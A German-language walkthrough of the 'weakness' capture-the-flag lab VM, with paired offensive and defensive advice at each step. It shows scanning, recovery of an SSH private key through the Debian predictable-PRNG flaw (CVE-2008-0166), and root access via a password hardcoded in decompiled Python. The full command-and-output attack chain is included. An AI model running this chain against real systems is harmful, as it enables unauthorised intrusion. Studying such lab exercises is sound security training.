Analyse: Ein ARP-Scan wird ausgeführt, um Geräte im lokalen Netzwerk zu finden.
Bewertung: Identifiziert das Ziel `192.168.2.155` mit einer Oracle VirtualBox MAC-Adresse (`08:00:27:ec:87:82`).
Empfehlung (Offensiv): Ziel-IP notieren und für weitere Scans verwenden.
Empfehlung (Defensiv): Standardmäßige Netzwerküberwachung kann helfen, solche Scans zu erkennen.
ARP-Scan 192.168.2.155 08:00:27:ec:87:82 PCS Systemtechnik GmbH
Analyse: Die IP `192.168.2.155` wird dem Hostnamen `weakness.vln` in der `/etc/hosts`-Datei des Angreifers zugeordnet.
Bewertung: Vereinfacht die weitere Arbeit mit dem Ziel.
Empfehlung (Offensiv): Sinnvolles Vorgehen zur besseren Handhabung.
Empfehlung (Defensiv): Keine direkte Auswirkung auf das Ziel.
/etc/hosts 192.168.2.155 weakness.vln
Analyse: Ein umfassender Nmap-Scan (`-sS -sC -sV -A -p- -Pn --min-rate 5000`) wird durchgeführt.
Bewertung: Der Scan findet drei offene Ports:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-29 22:05 CET Nmap scan report for weakness.vln (192.168.2.155) Host is up (0.00014s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 de:89:a2:de:45:e7:d6:3d:ef:e9:bd:b4:b6:68:ca:6d (RSA) | 256 1d:98:4a:db:a2:e0:cc:68:38:93:d0:52:2a:1a:aa:96 (ECDSA) |_ 256 3d:8a:6b:92:0d:ba:37:82:9e:c3:27:18:b6:01:cd:98 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-title: Apache2 Ubuntu Default Page: It works |_http-server-header: Apache/2.4.29 (Ubuntu) 443/tcp open ssl/http Apache httpd 2.4.29 ((Ubuntu)) | ssl-cert: Subject: commonName=weakness.jth/organizationName=weakness.jth/stateOrProvinceName=Jordan/countryName=jo | Not valid before: 2018-05-05T11:12:54 |_Not valid after: 2019-05-05T11:12:54 |_ssl-date: TLS randomness does not represent time | tls-alpn: |_ http/1.1 |_http-title: Apache2 Ubuntu Default Page: It works |_http-server-header: Apache/2.4.29 (Ubuntu) MAC Address: 08:00:27:EC:87:82 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.14 ms weakness.vln (192.168.2.155) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 17.09 seconds
Analyse: Ein Nikto-Scan wird gegen Port 80 ausgeführt.
Bewertung: Nikto findet die üblichen Probleme (fehlende Header, ETag-Leak, veraltete Apache-Version) und die Standarddatei `/icons/README`. Zusätzlich wird das Verzeichnis `/test/` als potenziell interessant markiert.
Empfehlung (Offensiv): Das Verzeichnis `/test/` untersuchen.
Empfehlung (Defensiv): Apache aktualisieren, Sicherheitsheader implementieren, Standarddateien entfernen/schützen.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.155 + Target Hostname: 192.168.2.155 + Target Port: 80 + Start Time: 2024-12-29 22:06:35 (GMT1) --------------------------------------------------------------------------- + Server: Apache/2.4.29 (Ubuntu) + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + No CGI Directories found (use '-C all' to force check all possible dirs) + /: Server may leak inodes via ETags, header found with file /, inode: 2aa6, size: 56b7369530642, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 + Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch. + OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD . + /test/: This might be interesting. + /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/ + 8102 requests: 0 error(s) and 7 item(s) reported on remote host + End Time: 2024-12-29 22:07:20 (GMT1) (45 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: Gobuster wird für die Verzeichnissuche auf Port 80 eingesetzt.
Bewertung: Der Scan findet `index.html`, `/blog/` (Redirect), `/uploads/` (Redirect), `upload.php` und `/test/` (Redirect). Die Existenz einer `upload.php` und eines `/uploads`-Verzeichnisses ist bemerkenswert.
Empfehlung (Offensiv): Die `upload.php` auf Funktionalität und mögliche Schwachstellen (z.B. unrestricted file upload) prüfen. Das `/test/`-Verzeichnis besuchen. Das `/blog/`-Verzeichnis ebenfalls untersuchen.
Empfehlung (Defensiv): Upload-Funktionen sicher implementieren (Dateityp-Validierung, Größenbeschränkung, Speicherung außerhalb des Webroots, Umbenennung hochgeladener Dateien).
=============================================================== Gobuster v3.5 [...] =============================================================== [+] Url: http://192.168.2.155 [...] =============================================================== 2024/12/29 22:08:01 Starting gobuster in directory enumeration mode =============================================================== http://192.168.2.155/index.html (Status: 200) [Size: 10918] http://192.168.2.155/blog (Status: 301) [Size: 313] [--> http://192.168.2.155/blog/] http://192.168.2.155/uploads (Status: 301) [Size: 316] [--> http://192.168.2.155/uploads/] http://192.168.2.155/upload.php (Status: 200) [Size: 216] http://192.168.2.155/test (Status: 301) [Size: 313] [--> http://192.168.2.155/test/] =============================================================== 2024/12/29 22:09:55 Finished ===============================================
Analyse: Der Inhalt der `upload.php`-Seite wird angezeigt.
Bewertung: Zeigt ein einfaches Upload-Formular mit dem Namen "SecretFileUpload". Es gibt keine sichtbaren Hinweise auf Einschränkungen oder Sicherheitsmaßnahmen.
Empfehlung (Offensiv): Versuchen, verschiedene Dateitypen hochzuladen, insbesondere eine PHP-Webshell, um Codeausführung zu erreichen. Prüfen, wo die Dateien landen (wahrscheinlich `/uploads/`).
Empfehlung (Defensiv): Upload-Funktionalität serverseitig validieren (Dateityp, Größe, Inhalt). Dateien sicher speichern und Ausführung verhindern.
http://192.168.2.155/upload.php N30 UPLOAD form method="POST" action="upload.php" name="SecretFileUpload" enctype="multipart/form-data" input type="file" name="SecretFile" input type="submit" value="Upload"
Analyse: Der Quellcode der Seite im Verzeichnis `/test/` wird untersucht.
Bewertung: Enthält den Kommentar "it's all about keys :D" und ein Bild `keys2.jpg`. Dies verstärkt den Fokus auf Schlüssel, möglicherweise SSH-Schlüssel.
Empfehlung (Offensiv): Das Bild `keys2.jpg` herunterladen und auf versteckte Daten (Steganographie, Metadaten) prüfen. Den Hinweis im Zusammenhang mit dem Hostnamen `weakness.jth` aus dem SSL-Zertifikat betrachten.
Empfehlung (Defensiv): Keine Hinweise in Kommentaren oder Bildern hinterlassen.
view-source:http://192.168.2.155/test/ < -- it's all about keys :D --> img src="keys2.jpg"
Analyse: Der Text erwähnt einen Base64-String `V0UgSlVTVCBURVNUIFRISVMgU0NSSVBUV0UgSlVTVCBURVNUIFRISVMgU0NSSVBUIEFHQUlIDpE` und dessen Dekodierung zu `WE JUST TEST THIS SCRIPTWE JUST TEST THIS SCRIPT AGAIN :D`. Der Bezug ist unklar, möglicherweise aus einer anderen Datei oder einem Header.
Bewertung: Dieser String scheint für den weiteren Verlauf irrelevant zu sein, möglicherweise eine Sackgasse oder ein Überbleibsel.
Empfehlung (Offensiv): Ignorieren, wenn kein klarer Bezug hergestellt werden kann.
V0UgSlVTVCBURVNUIFRISVMgU0NSSVBUV0UgSlVTVCBURVNUIFRISVMgU0NSSVBUIEFHQUlIDpE WE JUST TEST THIS SCRIPTWE JUST TEST THIS SCRIPT AGAIN :D
Analyse: Der Hostname `weakness.jth` (aus dem SSL-Zertifikat) wird zur `/etc/hosts`-Datei hinzugefügt.
Bewertung: Notwendiger Schritt, um die Webseite unter diesem Namen aufzurufen, falls der Webserver Virtual Hosts verwendet.
Empfehlung (Offensiv): Immer Hostnamen aus Zertifikaten oder anderen Quellen zur Hosts-Datei hinzufügen und testen.
192.168.2.155 weakness.vln weakness.jth
Analyse: Die Webseite wird unter `http://weakness.jth` aufgerufen (Port 80).
Bewertung: Es wird eine andere Seite angezeigt als unter der IP-Adresse. Sie enthält eine ASCII-Art eines Kaninchens und den Text "keep following the white rabbit :D". Dies bestätigt die Verwendung von Virtual Hosts und liefert einen neuen Hinweis.
Empfehlung (Offensiv): Die Webseite unter `weakness.jth` weiter untersuchen, insbesondere auf versteckte Verzeichnisse (`dirb`, `gobuster`).
Empfehlung (Defensiv): Sicherstellen, dass Virtual Host Konfigurationen keine unbeabsichtigten Inhalte oder Hinweise preisgeben.
http://weakness.jth keep following the white rabbit :D , /| __ / | ,-~ / Y :| // / | jj /( .^ >-"~"-v" / Y jo o | ( ~T~ j >._-' _./ / "~" | Y _, | /| ;-"~ _ l / l/ ,-"~ \ \//\/ .- \ Y / Y -n30 l I ! ]\ _\ /"\ (" ~-( ~ Y. )
Analyse: `dirb` wird verwendet, um Verzeichnisse auf `http://weakness.jth/` zu finden.
Bewertung: `dirb` findet das Verzeichnis `/private/`. Unterverzeichnisse `/private/assets/` und `/private/files/` sind ebenfalls vorhanden und als "LISTABLE" markiert.
Empfehlung (Offensiv): Die listbaren Verzeichnisse `/private/assets/` und insbesondere `/private/files/` im Browser aufrufen und deren Inhalt untersuchen.
Empfehlung (Defensiv): Directory Listing deaktivieren (`Options -Indexes`), besonders für Verzeichnisse mit potenziell sensiblen Inhalten.
----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Sun Dec 29 22:30:24 2024 URL_BASE: http://weakness.jth/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://weakness.jth/ ---- + http://weakness.jth/index.html (CODE:200|SIZE:526) + http://weakness.jth/private/ (CODE:200|SIZE:989) ==> DIRECTORY + http://weakness.jth/robots.txt (CODE:200|SIZE:14) + http://weakness.jth/server-status (CODE:403|SIZE:300) ---- Entering directory: http://weakness.jth/private/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ----------------- END_TIME: Sun Dec 29 22:30:26 2024 DOWNLOADED: 9224 - FOUND: 4
Analyse: Der Inhalt von `robots.txt` und die Dateiliste im Verzeichnis `/private/` (das über den Browser aufgerufen wurde) werden gezeigt.
Bewertung: `robots.txt` ist nicht hilfreich ("Forget it !!"). Im Verzeichnis `/private/files/` (das aus `/private/` verlinkt ist) befinden sich zwei Dateien: `mykey.pub` und `notes.txt`.
Empfehlung (Offensiv): Beide Dateien herunterladen und analysieren.
Empfehlung (Defensiv): Sensible Dateien nicht in web-zugänglichen Verzeichnissen ablegen, auch wenn sie "private" heißen.
http://weakness.jth/robots.txt Forget it !! http://weakness.jth/private/ files mykey.pub 400 Bytes notes.txt 43 Bytes Cute File Browser with jQuery, AJAX and PHP
Analyse: Der Inhalt der Datei `notes.txt` wird angezeigt.
Bewertung: Enthält den kritischen Hinweis: "this key was generated by openssl 0.9.8c-1". Dies bezieht sich auf die Datei `mykey.pub` und weist auf die Debian OpenSSL Predictable PRNG Schwachstelle (CVE-2008-0166) hin.
Empfehlung (Offensiv): Die Datei `mykey.pub` herunterladen. Den öffentlichen Schlüssel verwenden, um den dazugehörigen schwachen privaten Schlüssel aus einer bekannten Sammlung (z.B. von HD Moore/Metasploit oder g0tmi1k) zu identifizieren.
Empfehlung (Defensiv): Sicherstellen, dass keine Systeme mehr mit den durch CVE-2008-0166 kompromittierten OpenSSL-Versionen laufen oder damit generierte Schlüssel verwenden. Alle potenziell schwachen Schlüssel ersetzen.
http://weakness.jth/private/files/notes.txt this key was generated by openssl 0.9.8c-1 mykey.pub
Analyse: Der Inhalt der heruntergeladenen Datei `mykey.pub` wird angezeigt.
Bewertung: Dies ist der öffentliche SSH-Schlüssel (RSA, 2048 Bit), der auf dem verwundbaren Debian-System generiert wurde.
Empfehlung (Offensiv): Diesen öffentlichen Schlüssel verwenden, um den passenden privaten Schlüssel in der Sammlung schwacher Schlüssel zu finden.
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApC39uhie9gZahjiiMo+k8DqKLujcZMN1bESzSLT8H5jRGj8n1FFqjJw27Nu5JYTI73Szhg/uoeMfECHNzGj7GtoMqwh38clgVjQ7Qzb47/kguAeWMUcUHrCBz9KsN+7eNTb5cfu00QgY+DoLxuwfVufRVNcvaNyo0VS1dAJWgDnskJJRD+46RlkUyVNhwegA0QRj9Salmpssp+z5wq7KBPL1S982QwkdhyvKg3dMy29j/C5sIIqM/mlqilhuidwo1ozjQlU2+yAVo5XrWDo0qVzzxsnTxB5JAfF7ifoDZp2yczZg+ZavtmfItQt1Vac1vSuBPCpTqkjE/4Iklgw root@targetcluster
Analyse: `searchsploit` wird verwendet, um nach Exploits für "openssl 0.9.8c-1" zu suchen.
Bewertung: Findet mehrere Einträge, die sich auf die Debian Predictable PRNG Schwachstelle (CVE-2008-0166) beziehen, inklusive eines Info-Textes (5622.txt) und Ruby/Python-Skripten.
Empfehlung (Offensiv): Den Info-Text (5622.txt) lesen, um das Vorgehen zu verstehen.
--------------------------------------------------------- --------------------------------- Exploit Title | Path --------------------------------------------------------- --------------------------------- OpenSSL 0.9.8c-1 < 0.9.8g-9 (Debian and Derivatives) - Pr | linux/remote/5622.txt OpenSSL 0.9.8c-1 < 0.9.8g-9 (Debian and Derivatives) - Pr | linux/remote/5632.rb OpenSSL 0.9.8c-1 < 0.9.8g-9 (Debian and Derivatives) - Pr | linux/remote/5720.py --------------------------------------------------------- --------------------------------- Shellcodes: No Results
Analyse: Der Info-Exploit 5622.txt wird kopiert und sein Inhalt angezeigt.
Bewertung: Der Text erklärt die Schwachstelle (nur PID als Entropiequelle bei der Schlüsselgenerierung führt zu nur 65536 möglichen Schlüsseln) und verweist auf die Sammlung der vorkalkulierten schwachen Schlüssel, die von HD Moore bereitgestellt wurde (Mirror auf GitHub/GitLab). Es wird erklärt, wie man die Sammlung herunterlädt, entpackt und den öffentlichen Schlüssel des Ziels darin sucht, um den zugehörigen privaten Schlüssel zu finden.
Empfehlung (Offensiv): Den Anweisungen folgen: Schlüsselarchiv herunterladen, entpacken und nach dem öffentlichen Schlüssel (`mykey.pub`) greppen.
Exploit: OpenSSL 0.9.8c-1 < 0.9.8g-9 (Debian and Derivatives) - Predictable PRNG Brute Force SSH URL: https://www.exploit-db.com/exploits/5622 Path: /usr/share/exploitdb/exploits/linux/remote/5622.txt Codes: CVE-2008-0166 Verified: True File Type: ASCII text Copied to: /root/5622.txt
the debian openssl issue leads that there are only 65.536 possible ssh keys generated, cause the only entropy is the pid of the process generating the key. This leads to that the following perl script can be used with the precalculated ssh keys to brute force the ssh login. It works if such a keys is installed on a non-patched debian or any other system manual configured to. On an unpatched system, which doesn't need to be debian, do the following: keys provided by HD Moore - http://metasploit.com/users/hdm/tools/debian-openssl/ *E-DB Note: Mirror ~ https://github.com/g0tmi1k/debian-ssh* 1. Download http://sugar.metasploit.com/debian_ssh_rsa_2048_x86.tar.bz2 https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5622.tar.bz2 (debian_ssh_rsa_2048_x86.tar.bz2) 2. Extract it to a directory 3. Enter into the /root/.ssh/authorized_keys a SSH RSA key with 2048 Bits, generated on an upatched debian (this is the key this exploit will break) 4. Run the perl script and give it the location to where you extracted the bzip2 mentioned. [...] 5. Enjoy the shell after some minutes (less than 20 minutes) Regards, Markus Mueller mm@deadbeef.de # milw0rm.com [2008-05-15]
Analyse: Das Schlüsselarchiv (`5622.tar.bz2`) wird vom GitLab-Mirror heruntergeladen, ein Verzeichnis `weakness` erstellt, das Archiv dorthin verschoben und entpackt.
Bewertung: Die notwendigen Schritte zur Vorbereitung der Schlüsselsuche werden durchgeführt. Das Entpacken erzeugt eine große Anzahl von Schlüsseldateien.
--2024-12-29 22:36:16-- https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5622.tar.bz2 Resolving gitlab.com (gitlab.com)... [...] connected. HTTP request sent, awaiting response... 200 OK Length: 50226987 (48M) [application/octet-stream] Saving to: ‘5622.tar.bz2’ 5622.tar.bz2 100%[==============================>] 47.90M 22.7MB/s in 2.1s 2024-12-29 22:36:19 (22.7 MB/s) - ‘5622.tar.bz2’ saved [50226987/50226987]
rsa/ rsa/2048/ rsa/2048/2712a6d5cec99f295a0c468b830a370d-28940.pub rsa/2048/eaddc9bba9bf3c0832f443706903cd14-28712.pub [...]
Analyse: Mit `grep` wird rekursiv (`-r`) in den entpackten Schlüsseln nach dem exakten String des öffentlichen Schlüssels aus `mykey.pub` gesucht. Nur der Dateiname (`-l`) des Treffers wird ausgegeben.
Bewertung: Der Befehl findet den passenden öffentlichen Schlüssel in der Datei `rsa/2048/4161de56829de2fe64b9055711f531c1-2537.pub`. Der dazugehörige private Schlüssel befindet sich im selben Verzeichnis und hat den gleichen Namen ohne `.pub`-Endung: `rsa/2048/4161de56829de2fe64b9055711f531c1-2537`.
Empfehlung (Offensiv): Den gefundenen privaten Schlüssel (`rsa/2048/4161d...-2537`) verwenden, um sich per SSH anzumelden. Es muss noch der passende Benutzername ermittelt werden (möglicherweise `root` laut Kommentar im Pubkey, oder ein anderer User wie `n30` aus den Webseiten-Hinweisen).
./rsa/2048/4161de56829de2fe64b9055711f531c1-2537.pub
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApC39uhie9gZahjiiMo+k8DqKLujcZMN1bESzSLT8H5jRGj8n1FFqjJw27Nu5JYTI73Szhg/uoeMfECHNzGj7GtoMqwh38clgVjQ7Qzb47/kguAeWMUcUHrCBz9KsN+7eNTb5cfu00QgY+DoLxuwfVufRVNcvaNyo0VS1dAJWgDnskJJRD+46RlkUyVNhwegA0QRj9Salmpssp+z5wq7KBPL1S982QwkdhyvKg3dMy29j/C5sIIqM/mlqilhuidwo1ozjQlU2+yAVo5XrWDo0qVzzxsnTxB5JAfF7ifoDZp2yczZg+ZavtmfItQt1Vac1vSuBPCpTqkjE/4Iklgw root@targetcluster
Analyse: Es wird versucht, sich per SSH mit dem gefundenen schwachen privaten Schlüssel (`-i 4161...-2537`) als Benutzer `n30` (vermutlich abgeleitet von den Hinweisen auf der Webseite) auf dem Zielsystem anzumelden.
Bewertung: Der Login ist erfolgreich! Es wird keine Passwortabfrage benötigt, da die Schlüsselauthentifizierung funktioniert. Der Angreifer erhält eine Shell als Benutzer `n30`.
Ergebnis: Erfolgreicher Initial Access durch Ausnutzung der Debian OpenSSL Weak Key Schwachstelle (CVE-2008-0166).
Empfehlung (Offensiv): Das System als Benutzer `n30` enumerieren, insbesondere nach Möglichkeiten zur Privilegieneskalation suchen (`sudo -l`, SUID-Dateien etc.).
Empfehlung (Defensiv): Alle schwachen SSH-Schlüssel auf dem System identifizieren und ersetzen. Sicherstellen, dass keine Systeme mehr verwundbare OpenSSL-Versionen verwenden. Den betroffenen öffentlichen Schlüssel aus `authorized_keys`-Dateien entfernen.
Welcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-20-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage Last login: Tue Aug 14 13:29:20 2018 from 192.168.209.1
Analyse: Als Benutzer `n30` wird `sudo -l` ausgeführt.
Bewertung: Der Befehl fordert das Passwort für `n30` an. Dieses ist aktuell nicht bekannt. `sudo` ist somit kein direkter Vektor.
Empfehlung (Offensiv): Nach anderen Wegen suchen oder versuchen, das Passwort für `n30` zu finden.
Empfehlung (Defensiv): Sicherstellen, dass `sudo` ein Passwort erfordert (Standard).
[sudo] password for n30:
Analyse: Die Home-Verzeichnisse werden aufgelistet. Es gibt nur das Verzeichnis für den Benutzer `n30`.
Bewertung: Keine weiteren Benutzer-Home-Verzeichnisse als potenzielle Informationsquellen.
total 12 drwxr-xr-x 3 root root 4096 May 5 2018 . drwxr-xr-x 22 root root 4096 May 5 2018 .. drwxr-xr-x 5 n30 n30 4096 Aug 14 2018 n30
Analyse: SUID-Binaries werden gesucht.
Bewertung: Die Liste enthält Standard-Binaries (`su`, `mount`, `ping`, `passwd`, `sudo`, `ntfs-3g` etc.). Nichts deutet auf eine einfache benutzerdefinierte Schwachstelle hin. `pkexec` ist nicht vorhanden.
Empfehlung (Offensiv): Standard-Binaries auf bekannte Lücken für die spezifische OS-Version (Ubuntu 18.04) prüfen. Andere Vektoren untersuchen.
Empfehlung (Defensiv): Unnötige SUID-Bits entfernen. System aktuell halten.
398107 44 -rwsr-xr-- 1 root messagebus 42992 Nov 16 2017 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 398247 12 -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device 408001 428 -rwsr-xr-x 1 root root 436552 Feb 10 2018 /usr/lib/openssh/ssh-keysign 394789 76 -rwsr-xr-x 1 root root 75824 Jan 25 2018 /usr/bin/gpasswd 394785 44 -rwsr-xr-x 1 root root 44528 Jan 25 2018 /usr/bin/chsh 394790 60 -rwsr-xr-x 1 root root 59640 Jan 25 2018 /usr/bin/passwd 399262 148 -rwsr-xr-x 1 root root 149080 Jan 18 2018 /usr/bin/sudo 394782 76 -rwsr-xr-x 1 root root 76496 Jan 25 2018 /usr/bin/chfn 394570 40 -rwsr-xr-x 1 root root 40344 Jan 25 2018 /usr/bin/newgrp 407666 20 -rwsr-xr-x 1 root root 18448 Mar 10 2017 /usr/bin/traceroute6.iputils 268619 32 -rwsr-xr-x 1 root root 30800 Aug 11 2016 /bin/fusermount 262313 44 -rwsr-xr-x 1 root root 44664 Jan 25 2018 /bin/su 262317 44 -rwsr-xr-x 1 root root 43088 Mar 16 2018 /bin/mount 262806 64 -rwsr-xr-x 1 root root 64424 Mar 10 2017 /bin/ping 262318 28 -rwsr-xr-x 1 root root 26696 Mar 16 2018 /bin/umount 268624 144 -rwsr-xr-x 1 root root 146128 Nov 30 2017 /bin/ntfs-3g
Analyse: Das Home-Verzeichnis von `n30` wird aufgelistet. Die User-Flag `user.txt` und eine interessante Datei `code` werden gefunden. Die Bash-History ist leer.
Bewertung: Die User-Flag wird direkt gelesen. Die Datei `code` ist das wichtigste Element hier.
Empfehlung (Offensiv): Die Datei `code` analysieren.
total 44 drwxr-xr-x 5 n30 n30 4096 Aug 14 2018 . drwxr-xr-x 3 root root 4096 May 5 2018 .. -rw------- 1 n30 n30 25 Aug 14 2018 .bash_history -rw-r--r-- 1 n30 n30 220 May 5 2018 .bash_logout -rw-r--r-- 1 n30 n30 3771 May 5 2018 .bashrc drwx------ 2 n30 n30 4096 May 5 2018 .cache -rwxrwxr-x 1 n30 n30 1138 May 8 2018 code drwxrwxr-x 3 n30 n30 4096 May 5 2018 .local -rw-r--r-- 1 n30 n30 818 May 7 2018 .profile drwxrwxr-x 2 n30 n30 4096 May 5 2018 .ssh -rw-r--r-- 1 n30 n30 0 May 5 2018 .sudo_as_admin_successful -rw-rw-r-- 1 n30 n30 33 May 8 2018 user.txt
25e3cd678875b601425c9356c8039f68
nano .bash_history exit
Analyse: Der Benutzer `n30` versucht, eine ZIP-Datei aus dem Web-Verzeichnis zu entpacken.
Bewertung: Dies scheint irrelevant für den aktuellen Pfad zur Privilegieneskalation zu sein, möglicherweise ein Überbleibsel aus der Untersuchung des `private`-Verzeichnisses.
Archive: /var/www/weakness/private/cute-file-browser.zip creating: assets/ creating: assets/css/ inflating: assets/css/styles.css creating: assets/js/ inflating: assets/js/script.js creating: files/ extracting: files/place your files here inflating: index.html inflating: scan.php
Analyse: Das Verzeichnis `/opt` wird untersucht, es enthält ein Element `generator`. Die Datei `code` aus dem Home-Verzeichnis wird in das Webroot `/var/www/html` kopiert.
Bewertung: Das Kopieren dient dazu, die Datei `code` einfach mit `wget` vom Angreifer-System herunterladen zu können.
Empfehlung (Offensiv): Die Datei `code` herunterladen und analysieren.
generator
Analyse: Die Datei `code` wird vom Webserver heruntergeladen. `strings` wird darauf angewendet, was Python-spezifische Strings offenbart. Die Datei wird zu `code.pyc` umbenannt.
Bewertung: Bestätigt, dass `code` eine kompilierte Python-Datei (`.pyc`) ist.
Empfehlung (Offensiv): Einen Python-Bytecode-Decompiler verwenden (z.B. `uncompyle6` oder Online-Tools), um den ursprünglichen Quellcode wiederherzustellen.
--2024-12-29 22:53:23-- http://192.168.2.155/code Connecting to 192.168.2.155:80... connected. HTTP request sent, awaiting response... 200 OK Length: 1138 (1.1K) Saving to: ‘code’ code 100%[===============================>] 1.11K --.-KB/s in 0s 2024-12-29 22:53:23 (159 MB/s) - ‘code’ saved [1138/1138]
[...] [+]System Started at : {0}sG [+]This binary should generate unique hash for the hardcoded login infos [+]Generating the hash ..t [+]Your new hash is : {0}s [+]Done( sockett timet hashlibt formatt ctimet inft chrt ordt sha256t hexdigestt hashf( code.pyt[...]
Analyse: Der `.pyc`-Code wird mit einem Online-Decompiler (toolnb.com) oder `uncompyle6` dekompiliert. Der wiederhergestellte Python-Code wird angezeigt.
Bewertung: Der Code konstruiert zeichenweise den String `n30:dMASDNB!!#B!#!#33` und berechnet dann einen SHA256-Hash davon, wobei die aktuelle Zeit (`time.ctime()`) hinzugefügt wird. Der Hash selbst ist hier nicht das Ziel, sondern der hartkodierte String-Teil, der sehr wahrscheinlich das Passwort für den Benutzer `n30` enthält: `dMASDNB!!#B!#!#33`.
Empfehlung (Offensiv): Das gefundene Passwort `dMASDNB!!#B!#!#33` verwenden, um `sudo -l` als `n30` auszuführen.
Empfehlung (Defensiv): Niemals Passwörter oder sensible Daten hartkodiert in Skripten oder kompiliertem Code speichern. `.pyc`-Dateien bieten keine Sicherheit vor Reverse Engineering.
# uncompyle6 version 3.9.1 # Python bytecode version base 2.7 (62211) [...] # Embedded file name: code.py # Compiled at: 2018-05-08 23:50:54 import os, socket, time, hashlib print ('[+]System Started at : {0}').format(time.ctime()) print '[+]This binary should generate unique hash for the hardcoded login info' print '[+]Generating the hash ..' inf = '' inf += chr(ord('n')) inf += chr(ord('3')) inf += chr(ord('0')) inf += chr(ord(':')) inf += chr(ord('d')) inf += chr(ord('M')) inf += chr(ord('A')) inf += chr(ord('S')) inf += chr(ord('D')) inf += chr(ord('N')) inf += chr(ord('B')) inf += chr(ord('!')) inf += chr(ord('!')) inf += chr(ord('#')) inf += chr(ord('B')) inf += chr(ord('!')) inf += chr(ord('#')) inf += chr(ord('!')) inf += chr(ord('#')) inf += chr(ord('3')) inf += chr(ord('3')) hashf = hashlib.sha256(inf + time.ctime()).hexdigest() print ('[+]Your new hash is : {0}').format(hashf) print '[+]Done'
Analyse: Versuch, das Passwort aus der dekompilierten Ausgabe zu extrahieren.
Bewertung: Der Befehl `cat code.txt | tr "'" " " | awk {'print $4'}` extrahiert den relevanten Teil `dMASDNB!!#B!#!#33`.
[...] n 3 0 : d M A S D N B ! ! # B ! # ! # 3 3 + [...]
Analyse: Der Befehl `sudo -l` wird erneut als Benutzer `n30` ausgeführt. Diesmal wird das aus dem Python-Code extrahierte Passwort `dMASDNB!!#B!#!#33` eingegeben.
Bewertung: Die Authentifizierung ist erfolgreich! Die Ausgabe zeigt, dass `n30` den Befehl `(ALL : ALL) ALL` ausführen darf. Das bedeutet volle `sudo`-Rechte ohne Einschränkungen.
Empfehlung (Offensiv): `sudo su` oder `sudo /bin/bash` ausführen, um eine Root-Shell zu erhalten.
Empfehlung (Defensiv): Das Prinzip der geringsten Rechte anwenden. Benutzern nur die spezifischen `sudo`-Befehle erlauben, die sie benötigen, niemals `(ALL : ALL) ALL`, es sei denn, es ist absolut unvermeidbar (z.B. für Hauptadministratoren).
[sudo] password for n30: dMASDNB!!#B!#!#33
Matching Defaults entries for n30 on W34KN3SS:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User n30 may run the following commands on W34KN3SS:
(ALL : ALL) ALL
Analyse: Der Befehl `sudo su` wird ausgeführt.
Bewertung: Da `n30` volle `sudo`-Rechte hat, wird dieser Befehl erfolgreich ausgeführt und startet eine Root-Shell, angezeigt durch den Prompt `root@W34KN3SS:/home/n30#`.
Ergebnis: Privilege Escalation erfolgreich! Durch Ausnutzen der uneingeschränkten `sudo`-Rechte wurden volle Root-Privilegien erlangt.
Empfehlung (Offensiv): Root-Rechte nutzen, um die Root-Flag zu lesen und das System vollständig zu kontrollieren.
Empfehlung (Defensiv): `sudo`-Rechte restriktiv vergeben.
Privilege Escalation erfolgreich! Voller Root-Zugriff erlangt.
Schwachstelle: CVE-2008-0166 - Eine Schwachstelle im Pseudozufallszahlengenerator (PRNG) von OpenSSL auf Debian-basierten Systemen (zwischen September 2006 und Mai 2008) führte dazu, dass nur eine sehr begrenzte Anzahl von SSH-Schlüsseln generiert wurde. Wenn ein auf einem solchen System generierter öffentlicher Schlüssel auf einem Server verwendet wird, kann ein Angreifer durch Abgleich mit einer bekannten Liste schwacher Schlüssel den zugehörigen privaten Schlüssel finden.
Ziel des POC: Nachweis, dass durch Finden des schwachen öffentlichen Schlüssels (`mykey.pub`) auf dem Webserver und Abgleich mit einer Liste vorkalkulierter schwacher Schlüssel der zugehörige private Schlüssel identifiziert und für den SSH-Login als Benutzer `n30` verwendet werden kann.
